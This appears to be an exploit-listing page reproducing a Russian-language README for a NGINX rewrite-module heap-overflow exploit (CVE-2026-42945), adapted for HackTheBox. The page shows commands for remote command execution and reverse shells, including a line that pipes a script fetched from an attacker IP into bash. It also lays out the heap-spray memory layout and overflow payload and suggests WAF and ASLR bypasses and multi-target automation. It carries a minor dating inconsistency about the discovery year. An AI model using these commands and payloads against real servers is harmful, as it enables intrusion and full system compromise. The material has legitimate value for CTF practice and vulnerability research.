Sploitus

Exploit for CVE-2026-42945-POC

kitploit · 2026-09-03

Exploit Code

MARKDOWN439 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CIPHERSPY-CVE-2026-42945-POC
# CVE-2026-42945 (NGINX Rift) — Эксплойт для HTB

Автономный эксплойт для уязвимости переполнения кучи NGINX, обнаруженной в 2024 году. Эта версия оптимизирована для окружений HackTheBox и CTF, где невозможно настроить Docker-контейнеры.

## Детали уязвимости

**CVE-2026-42945** — это критическое переполнение кучи в модуле `ngx_http_rewrite_module` NGINX, существующее с 2008 года (версия 0.6.27). Ошибка возникает, когда:

  1. Директива `rewrite` содержит `?` в замене (устанавливает `is_args = 1`)
  2. Директива `set` захватывает часть URI
  3. Вычисление длины происходит на обнулённом поддвижке (видит `is_args = 0`)
  4. Фаза копирования выполняется на основном движке (видит `is_args = 1`)
  5. Экранирование URI расширяет символы в 3 раза, переполняя недостаточный буфер



### Затронутые версии

  * **NGINX Open Source** : 0.6.27 – 1.30.0
  * **NGINX Plus** : R32 – R36



### Исправленные версии

  * **NGINX Open Source** : 1.31.0, 1.30.1
  * **NGINX Plus** : R36 P4, R35 P2, R32 P6



## Включенные файлы

  1. **nginx_rift_htb.py** — Основной скрипт эксплойта
  2. **nginx_rift_helper.py** — Вспомогательный скрипт разведки и утечки информации
  3. **README.md** — Этот файл



## Требования

root@kitploit:~
    
    
    # Python 3.6+
    sudo apt update
    sudo apt install python3 netcat-openbsd
    
    # No additional Python packages needed - uses only stdlib!
    

## Быстрый старт

### 1\. Проверка, уязвима ли цель

root@kitploit:~
    
    
    python3 nginx_rift_htb.py --target 10.10.11.x --check-only
    

Это позволит:

  * Обнаружить, запущен ли NGINX
  * Попытаться определить версию
  * Проверить наличие конечной точки `/api/`
  * Сообщить, выглядит ли цель уязвимой



### 2\. Разведка (рекомендуется)

root@kitploit:~
    
    
    python3 nginx_rift_helper.py --target 10.10.11.x --all
    

Это выполняет:

  * Определение отпечатка NGINX
  * Определение версии
  * Обнаружение конечных точек
  * Обнаружение утечек информации
  * Анализ поведения



### 3\. Запуск эксплойта

**Выполнение команды:**

root@kitploit:~
    
    
    python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id"
    

**Получение обратной оболочки:**

root@kitploit:~
    
    
    # Start listener first (in another terminal)
    nc -lvnp 4444
    
    # Run exploit
    python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444
    

## Примеры использования

### Базовое выполнение команд

root@kitploit:~
    
    
    # Execute 'id' command
    python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id"
    
    # Execute 'whoami'
    python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami"
    
    # Read /etc/passwd
    python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd"
    

### Обратная оболочка

root@kitploit:~
    
    
    # Terminal 1: Start listener
    nc -lvnp 4444
    
    # Terminal 2: Run exploit
    python3 nginx_rift_htb.py \
        --target 10.10.11.23 \
        --shell \
        --lhost 10.10.14.5 \
        --lport 4444 \
        --verbose
    

### Пользовательские адреса (если ASLR отключён или у вас есть утечки)

root@kitploit:~
    
    
    python3 nginx_rift_htb.py \
        --target 10.10.11.23 \
        --cmd "id" \
        --heap-base 0x555555659000 \
        --libc-base 0x7ffff77ba000
    

### Расширенные опции

root@kitploit:~
    
    
    python3 nginx_rift_htb.py \
        --target 10.10.11.23 \
        --port 8080 \
        --cmd "curl http://10.10.14.5/shell.sh | bash" \
        --tries 20 \
        --verbose
    

## Понимание эксплойта

### Как это работает

  1. **Кучевой спрей** : Эксплойт отправляет несколько POST-запросов с сформированными телами, содержащими поддельную структуру `ngx_pool_cleanup_s`
  2. **Триггер переполнения** : Отправляет GET-запрос к `/api/` со специально сформированным URI, который при экранировании вызовет переполнение
  3. **Хук очистки** : Переполнение повреждает указатель очистки соседнего пула, указывая на нашу поддельную структуру
  4. **Выполнение кода** : При уничтожении пула вызывается `system()` с нашей командой



### Ключевые параметры

  * **Целевые байты** : 6-байтовые адреса, содержащие только URL-безопасные символы
  * **Тело распыления** : POST-тело размером 4000 байт, содержащее поддельную структуру очистки
  * **Полезная нагрузка переполнения** : 349 'A' + 969 '+' символов, которые расширяются в 3 раза при экранировании



### Соображения по ASLR

Эксплойт предполагает, что **ASLR отключён** или вам известны адреса. На HTB:

  * Некоторые машины отключают ASLR для упрощения эксплуатации
  * Другие требуют поиска утечки информации
  * Вспомогательный скрипт может помочь с разведкой



Если ASLR включён, вам может потребоваться:

  1. Найти утечку информации в приложении
  2. Использовать перебор (требует много попыток)
  3. Использовать частичные перезаписи (продвинутый метод)



## Устранение неполадок

### "Цель, похоже, не запускает NGINX"

  * Убедитесь, что цель действительно использует NGINX
  * Проверьте, правильный ли порт
  * Возможно, за WAF/прокси



### "Не удалось подтвердить конечную точку /api/"

Уязвимая конфигурация требует:

root@kitploit:~
    
    
    location ~ ^/api/(.*)$ {
        rewrite ^/api/(.*)$ /internal?migrated=true;
        set $original_endpoint $1;
    }
    

  * Эксплойт может сработать, если rewrite+set есть в другом месте
  * Попробуйте другие распространённые пути: `/api/`, `/admin/`, `/internal/`



### "Все попытки эксплуатации провалились"

Возможные причины:

  1. **ASLR включён** — адреса рандомизированы 
     * Решение: найти утечку информации или перебор
  2. **Другая версия libc** — `system()` по другому смещению 
     * Решение: попробовать все смещения с `--verbose`
  3. **Версия не уязвима** — исправленная версия или другая конфигурация 
     * Решение: проверить версию с помощью вспомогательного скрипта
  4. **WAF/IDS блокирует** — применяются средства защиты 
     * Решение: может потребоваться методы обхода
  5. **Неверная конечная точка** — не используется комбинация rewrite+set 
     * Решение: найти реальную уязвимую конечную точку



### Подробный режим

Всегда используйте `--verbose` для отладки:

root@kitploit:~
    
    
    python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose
    

Это показывает:

  * Статус каждого запроса распыления
  * Попытки подключения
  * Время срабатывания триггера переполнения
  * Логику обнаружения сбоев



## Советы по HTB

### Поиск вашего VPN IP

root@kitploit:~
    
    
    # Find your tun0 IP
    ip addr show tun0 | grep inet
    
    # Use this IP for --lhost
    python3 nginx_rift_htb.py --target TARGET --shell --lhost YOUR_TUN0_IP --lport 4444
    

### Стабилизация оболочки

После получения начального доступа:

root@kitploit:~
    
    
    # Upgrade to TTY
    python3 -c 'import pty; pty.spawn("/bin/bash")'
    
    # Background and set terminal
    Ctrl+Z
    stty raw -echo; fg
    export TERM=xterm
    

### Типичная разведка после получения оболочки

root@kitploit:~
    
    
    # Check current user
    id
    whoami
    
    # Check for flags
    find / -name "user.txt" 2>/dev/null
    find / -name "root.txt" 2>/dev/null
    
    # Check sudo permissions
    sudo -l
    
    # Check SUID binaries
    find / -perm -4000 2>/dev/null
    

## Расширенное использование

### Создание пользовательской нагрузки

Если вам нужно настроить полезную нагрузку:

root@kitploit:~
    
    
    # Edit the make_body() function in nginx_rift_htb.py
    # Adjust BODY_LEN for different configurations
    # Modify the overflow string (349 'A' + 969 '+')
    

### Несколько целей

root@kitploit:~
    
    
    # Create a target list
    cat targets.txt
    10.10.11.23
    10.10.11.24
    10.10.11.25
    
    # Test each one
    while read target; do
        echo "Testing $target"
        python3 nginx_rift_htb.py --target $target --check-only
    done < targets.txt
    

### Автоматическая эксплуатация

root@kitploit:~
    
    
    #!/bin/bash
    TARGET=$1
    LHOST=$2
    
    echo "[*] Starting listener..."
    nc -lvnp 4444 &
    LISTENER_PID=$!
    
    sleep 2
    
    echo "[*] Running exploit..."
    python3 nginx_rift_htb.py \
        --target $TARGET \
        --shell \
        --lhost $LHOST \
        --lport 4444 \
        --verbose
    
    wait $LISTENER_PID
    

## Технические детали

### Уязвимый шаблон кода

root@kitploit:~
    
    
    location ~ ^/api/(.*)$ {
        rewrite ^/api/(.*)$ /internal?migrated=true;  # Sets is_args=1
        set $original_endpoint $1;                     # Allocates based on is_args=0
    }
    

### Поток эксплуатации

root@kitploit:~
    
    
    1. Spray POST → Fill heap with fake cleanup structures
    2. GET /api/AAAA...++++...X → Trigger overflow
    3. Overflow corrupts adjacent pool cleanup pointer
    4. Pool destroyed → Calls system(cmd)
    

### Расположение в памяти

root@kitploit:~
    
    
    [Heap Spray Body - 4000 bytes]
    +0:  system_addr (8 bytes)
    +8:  data_addr (8 bytes) 
    +16: next (8 bytes, NULL)
    +24: command_string (variable)
    +remaining: padding 'A'
    

## Ссылки

  * Оригинальный PoC: https://github.com/p3Nt3st3r-sTAr/CVE-2026-42945-POC
  * Техническая статья: https://depthfirst.com/research/nginx-rift
  * Консультация NGINX: https://my.f5.com/manage/s/article/K000160932
  * Детали CVE: https://vulners.com/cve/CVE-2026-42945



## Отказ от ответственности

Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Использование против систем, которые вам не принадлежат или на которые у вас нет явного разрешения, является незаконным. Автор не несёт ответственности за неправильное использование.

## Авторство

  * Оригинальная уязвимость обнаружена depthfirst
  * Оригинальный PoC: p3Nt3st3r-sTAr
  * Адаптация для HTB: модифицировано для автономного использования



## Лицензия

Только для образовательных/исследовательских целей. Используйте ответственно.